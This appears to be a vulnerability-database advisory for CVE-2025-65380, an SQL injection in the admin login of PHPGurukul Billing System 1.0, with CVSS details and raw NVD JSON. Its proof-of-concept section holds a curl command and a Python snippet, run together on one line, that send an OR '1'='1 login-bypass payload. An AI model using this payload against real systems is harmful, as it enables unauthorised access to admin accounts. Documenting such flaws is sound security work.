Security Vulnerability Report
中文
CVE-2025-65380 CVSS 6.5 MEDIUM

CVE-2025-65380

Published: 2025-12-02 21:15:53
Last Modified: 2025-12-04 19:01:56

Description

PHPGurukul Billing System 1.0 is vulnerable to SQL Injection in the admin/index.php endpoint. Specifically, the username parameter accepts unvalidated user input, which is then concatenated directly into a backend SQL query.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:billing_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Billing System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
curl -X POST 'http://target.com/admin/index.php' -d 'username=admin' OR '1'='1&password=any' import requests url = 'http://target.com/admin/index.php' payload = { 'username': "admin' OR '1'='1 -- -", 'password': 'anything' } response = requests.post(url, data=payload) print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65380", "sourceIdentifier": "[email protected]", "published": "2025-12-02T21:15:52.947", "lastModified": "2025-12-04T19:01:55.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Billing System 1.0 is vulnerable to SQL Injection in the admin/index.php endpoint. Specifically, the username parameter accepts unvalidated user input, which is then concatenated directly into a backend SQL query."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:billing_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "BFD3FF09-4311-4BE3-B90D-52C2018E5136"}]}]}], "references": [{"url": "https://github.com/dewcode91/security-research/blob/main/CVE-2025-65380.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://phpgurukul.com/billing-system-using-php-and-mysql", "source": "[email protected]", "tags": ["Product"]}]}}